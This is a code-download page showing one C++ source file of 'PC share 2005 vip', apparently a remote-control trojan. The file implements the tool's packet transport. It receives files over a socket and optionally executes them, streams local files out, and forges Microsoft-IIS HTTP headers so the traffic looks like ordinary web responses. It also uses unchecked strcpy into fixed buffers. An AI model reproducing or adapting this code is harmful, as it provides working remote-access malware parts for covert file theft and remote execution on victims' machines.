⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 myglobalfuc.cpp

📁 PC share 2005 vip源代码
💻 CPP
字号:
#include "stdafx.h"
#include "PcFile.h"
#include "zlib.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


//客户管理数据传输
void TransBagThread(LPVOID lPvoid)
{
	LPCLIENTDATA pData = (LPCLIENTDATA) lPvoid;

	//数据传输
	if(!SendBag(pData->m_SendSocket,pData->m_TransData,
		pData->m_TransLen,pData->m_Command) ||
		!ReadBag(pData->m_RecvSocket,pData->m_TransData,
		pData->m_TransLen,pData->m_Command))
	{
		//数据传输失败
		pData->m_Command = TRANS_DATA_ERR;
		SetEvent(pData->m_WorkEvent);
		return ;
	}
	
	//查看数据类型
	if(pData->m_TransLen == 0)
	{
		//无回带数据
		SetEvent(pData->m_WorkEvent);
		return ;
	}

	//解压缩数据
	DWORD m_TmpLen = pData->m_TransLen;
	BYTE* pTmpData = new BYTE[m_TmpLen];
	memcpy(pTmpData,pData->m_TransData,m_TmpLen);
	pData->m_TransLen = TRAN_DATA_LEN;
	uncompress((LPBYTE) pData->m_TransData,
		&pData->m_TransLen,pTmpData,m_TmpLen);
	delete [] pTmpData;
	SetEvent(pData->m_WorkEvent);
}

BOOL WaitForTrans(HANDLE m_WaitEvent, HWND hWnd)
{
	MSG  msg; 
	while (1) 
	{ 
		if(WaitForSingleObject(m_WaitEvent,1) 
			!= WAIT_TIMEOUT)
			break;
	
		while(PeekMessage(&msg, NULL,  0, 0, PM_REMOVE)) 
		{ 
			if(msg.message == WM_CHAR && msg.wParam == 'q')
			{
				return FALSE;
			}

			//处理消息
			if(((msg.message<WM_MOUSEFIRST) ||
				(msg.message > WM_MOUSELAST)) &&
				(!AfxGetApp()->PreTranslateMessage(&msg) &&
				msg.message != WM_TIMER))
			{
				TranslateMessage(&msg);
				DispatchMessage(&msg);
			}
		} 
	} 
	return TRUE;
}

//界面完成一次控制任务
BOOL ProcessOneTrans(LPCLIENTDATA pData)
{
	if(pData->m_IsWork) return FALSE;

	//启动命令执行线程
	pData->m_IsWork = TRUE;
	PostMessage(pData->hParent,WM_SETMYCURSOR,(WPARAM) TRUE,NULL);
	ResetEvent(pData->m_WorkEvent);
	_beginthread(TransBagThread, 0, pData);

	//等待任务完成
	if(!WaitForTrans(pData->m_WorkEvent,pData->hParent) ||
		pData->m_Command == TRANS_DATA_ERR)
	{
		pData->m_IsWork = FALSE;
		pData->m_TransLen = 0;
		return FALSE;
	}

	//命令执行成功
	PostMessage(pData->hParent,WM_SETMYCURSOR,(WPARAM) FALSE,NULL);
	pData->m_IsWork = FALSE;
	return TRUE;
}

//发送数据
BOOL SendData(SOCKET s, char *data, int len)
{
	char * p = data;
	int i = 0;
	int k = len;
	int ret = 0;

	if(len <= 0) return TRUE;
	while(1)
	{
		ret = send(s,p,k,0);
		if(ret == 0 || ret == SOCKET_ERROR)
		{
			TRACE("SendData OUT,%d\n",WSAGetLastError());
			return FALSE;
		}
		i += ret;
		p += ret;
		k -= ret;
		if(i >= len) break;
	}
	return TRUE;
}

//接收数据
BOOL RecvData(SOCKET s, char *data, int len)
{
	char * p = data;
	int i = 0;
	int k = len;
	int ret = 0;

	if(len <= 0) return TRUE;
	while(1)
	{
		ret = recv(s,p,k,0);
		if(ret == 0 || ret == SOCKET_ERROR)
		{
			TRACE("RecvData OUT,%d\n",WSAGetLastError());
			return FALSE;
		}
		i += ret;
		p += ret;
		k -= ret;
		if(i >= len) return TRUE;
	}
	return TRUE;
}

BOOL ReadBag(SOCKET s, char *Data,DWORD &len,UINT &command)
{
	//接收命令
	if(!RecvData(s, (char*) &command, sizeof(UINT)))
		return FALSE;

	//接收长度
	if(!RecvData(s, (char*) &len, sizeof(DWORD)))
		return FALSE;

	TRACE("ReadBag : len = %d,command = %d\n",len,command);

	//查看数据长度
	if(len <= 0) return TRUE;

	//接收数据
	if(!RecvData(s, Data, len)) return FALSE;

	return TRUE;
}

BOOL SendBag(SOCKET s, char *Data, DWORD &len,UINT &command)
{
	//发送命令
	if(!SendData(s, (char*) &command, sizeof(UINT)))
		return FALSE;

	//发送长度
	if(!SendData(s, (char*) &len, sizeof(DWORD)))
		return FALSE;

	TRACE("SendBag : len = %d,command = %d\n",len,command);

	//查看数据长度
	if(len <= 0) return TRUE;

	//发送数据
	if(!SendData(s, Data, len)) return FALSE;

	return TRUE;
}

void BcdToAsc(unsigned char *BcdStr,unsigned char *AscStr,int BcdStrLen)
{
	int i, j;

		for(i = 0; i < BcdStrLen; i++)
		{
			j = (BcdStr[i] >> 4) & 0x0f;
                	
			if(j > 9)
				AscStr[2 * i] = j + 'A' - 10;
			else
				AscStr[2 * i] = j + '0';

			j = BcdStr[i] & 0x0f;

			if(j > 9)
				AscStr[2 * i + 1 ] = j + 'A' - 10;
			else
				AscStr[2 * i + 1] = j + '0';

		}

}

void AscToBcd(unsigned char *AscStr,unsigned char *BcdStr,int AscStrLen)
{
	
	int i, j, k;

		for(i = 0; i < AscStrLen; i++)
		{
        	
			if( ( AscStr[i] >= '0' ) && ( AscStr[i] <= '9' ) )

				j = AscStr[i] - '0';

			else if ( ( AscStr[i] >= 'a' ) && ( AscStr[i] <= 'z' ) )

				j = AscStr[i] - 'a' + 0x0a;

			else 

				j = AscStr[i] - 'A' + 0x0a;

			i++;

			if( ( AscStr[i] >= '0' ) && ( AscStr[i] <= '9' ) )

				k = AscStr[i] - '0';

			else if ( ( AscStr[i] >= 'a' ) && ( AscStr[i] <= 'z' ) )

				k = AscStr[i] - 'a' + 0x0a;

			else

				k = AscStr[i] - 'A' + 0x0a;

			BcdStr[i / 2] = (j << 4) | k;

		}
} 

BOOL MakeFilePath(char *pathName)
{
	char m_TmpStr[100] = {0};		
	char *pr = NULL;							
	char *ps = NULL;
	int  nLenth = 0;
	
	char m_Path[256] = {0};
	strcpy(m_Path, pathName);

	//查看是否为文件
	char* pFind = strchr(m_Path, '.');
	if(pFind != NULL)
	{
		pFind = strrchr(m_Path, '\\');
		if(pFind != NULL)
		{
			*pFind = 0;
		}
	}

	//目录已经存在
	CFileStatus m_FileStatus;
	if(CFile::GetStatus(m_Path,m_FileStatus))
		return TRUE;

	//初始化指针
	ps = m_Path;
	nLenth = strlen(m_Path);
	while(1)
	{
		pr = strchr(ps,'\\');
		if(pr == NULL)
		{
			//只有一级目录
			pr = ps + strlen(ps) ;
		}
		int len = pr - m_Path;
		memcpy(m_TmpStr,m_Path,len);
		if(len>3)  
		{
			//建立当前目录
			m_TmpStr[len] = '\0';
			CreateDirectory(m_TmpStr,NULL);
		}
		ps = pr+1;
		if(ps - m_Path >= nLenth)
		{
			//目录处理完备
			break;
		}
	}
	//确定建立的目录是否存在
	return CFile::GetStatus(m_Path,m_FileStatus);
}

bool SendClose(SOCKET s)
{
	char m_sCommand[512] = {0};
	char m_Strlen[256];
	strcpy(m_sCommand,"HTTP/1.1 200 OK\r\n");
	strcat(m_sCommand,"Server: Microsoft-IIS/5.0\r\n");
	CTime t = CTime::GetCurrentTime();
	sprintf(m_Strlen,"Date: %s GMT\r\n",
		t.FormatGmt ("%a, %d %b %Y %H:%M:%S"));
	strcat(m_sCommand,m_Strlen);
	sprintf(m_Strlen,"Content-Length: %d\r\n",0);
	strcat(m_sCommand,m_Strlen);
	strcat(m_sCommand,"Connection: Close\r\n");
	strcat(m_sCommand,"Cache-Control: no-cache\r\n\r\n");
	if(!SendData(s,m_sCommand,strlen(m_sCommand)))
	{
		closesocket(s);
		return false;
	}
	return true;
}

void UpFileExecThread(LPVOID lPvoid)
{
	SOCKET s = (SOCKET) lPvoid;

	//接收包头
	MYLISTFILEINFO m_FileInfo = {0};
	if(!RecvData(s,(char*) &m_FileInfo,sizeof(MYLISTFILEINFO)))
	{
		closesocket(s);
		return;
	}

	//创建目录
	MakeFilePath(m_FileInfo.m_LocalFile);

	//打开文件
	FILE* fp = NULL;

	//查看是否需要移动指针
	if(m_FileInfo.m_FilePoint > 0)
	{
		fp = fopen(m_FileInfo.m_LocalFile,"r+b");
		if(fp == NULL || fseek(fp, m_FileInfo.m_FilePoint, SEEK_SET) != 0)
		{
			closesocket(s);
			if(fp != NULL) fclose(fp);
			SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
			return;
		}
		m_FileInfo.m_FileLen -= m_FileInfo.m_FilePoint;
	}
	else
	{
		fp = fopen(m_FileInfo.m_LocalFile,"wb");
		if(fp == NULL)
		{
			closesocket(s);
			SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
			return;
		}
	}	
	
	//开始文件传输
	char m_FileBuf[8193] = {0};
	SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 2,(LPARAM) &m_FileInfo);
	while(m_FileInfo.m_FileLen > 0)
	{
		DWORD len = (m_FileInfo.m_FileLen > 8192) ? 
			8192 : m_FileInfo.m_FileLen;
		if(!RecvData(s,m_FileBuf,len))
		{
			closesocket(s);
			fclose(fp);
			SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
			return;
		}
		fwrite(m_FileBuf,len,1,fp);
		m_FileInfo.m_FileLen -= len;
		m_FileInfo.m_FilePoint += len;

		//传送文件状态
		if(!IsWindow(m_FileInfo.hWnd) ||
			!SendMessage(m_FileInfo.hWnd,
			WM_TRANS_STATE, 1,(LPARAM) &m_FileInfo))
		{
			closesocket(s);
			fclose(fp);
			return;
		}
	}
	fclose(fp);

	SendClose(s);
	closesocket(s);

	//通知对话框关闭
	SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 0, (LPARAM) &m_FileInfo);

	//运行文件
	if(m_FileInfo.m_IsExec)
		ShellExecute(NULL,NULL,	m_FileInfo.m_LocalFile,NULL,NULL,SW_SHOW);
}

void DlFileExecThread(LPVOID lPvoid)
{
	SOCKET s = (SOCKET) lPvoid;

	//接收包头
	MYLISTFILEINFO m_FileInfo = {0};
	if(!RecvData(s,(char*) &m_FileInfo,sizeof(MYLISTFILEINFO)))
	{
		closesocket(s);
		return;
	}

	//打开文件
	FILE* fp = fopen(m_FileInfo.m_LocalFile,"rb");
	if(fp == NULL)
	{
		closesocket(s);
		SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
		return;
	}

	//查看是否需要移动指针
	if(m_FileInfo.m_FilePoint > 0)
	{
		if(fseek(fp, m_FileInfo.m_FilePoint, SEEK_SET) != 0)
		{
			closesocket(s);
			fclose(fp);
			SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
			return;
		}
		m_FileInfo.m_FileLen -= m_FileInfo.m_FilePoint;
	}

	//发送包头
	char m_Command[4096] = {0};
	char m_Strlen[1024];
	strcpy(m_Command,"HTTP/1.1 200 OK\r\n");
	strcat(m_Command,"Server: Microsoft-IIS/5.0\r\n");
	CTime t = CTime::GetCurrentTime();
	sprintf(m_Strlen,"Date: %s GMT\r\n",t.FormatGmt ("%a, %d %b %Y %H:%M:%S"));
	strcat(m_Command,m_Strlen);
	sprintf(m_Strlen,"Content-Length: %d\r\n",m_FileInfo.m_FileLen);
	strcat(m_Command,m_Strlen);
	strcat(m_Command,"Content-Type: *.*\r\n");
	strcat(m_Command,"Connection: Close\r\n");
	strcat(m_Command,"Cache-Control: no-cache\r\n\r\n");
	if(!SendData(s,m_Command,strlen(m_Command)))
	{
		closesocket(s);
		SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
		return;
	}

	//开始文件传输
	SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 2,(LPARAM) &m_FileInfo);
	char m_FileBuf[8193] = {0};
	while(m_FileInfo.m_FileLen > 0)
	{
		DWORD len = (m_FileInfo.m_FileLen > 8192) ? 
			8192 : m_FileInfo.m_FileLen;

		//传送文件状态
		if(!IsWindow(m_FileInfo.hWnd) ||
			!SendMessage(m_FileInfo.hWnd,
			WM_TRANS_STATE, 1,(LPARAM) &m_FileInfo))
		{
			closesocket(s);
			fclose(fp);
			return;
		}

		fread(m_FileBuf,len,1,fp);
		if(!SendData(s,m_FileBuf,len))
		{
			//发送失败
			closesocket(s);
			fclose(fp);
			SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 3, (LPARAM) &m_FileInfo);
			return;
		}

		m_FileInfo.m_FileLen -= len;
		m_FileInfo.m_FilePoint += len;
	}
	fclose(fp);
	closesocket(s);

	//通知传输完成
	SendMessage(m_FileInfo.hWnd,WM_TRANS_STATE, 0, (LPARAM) &m_FileInfo);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -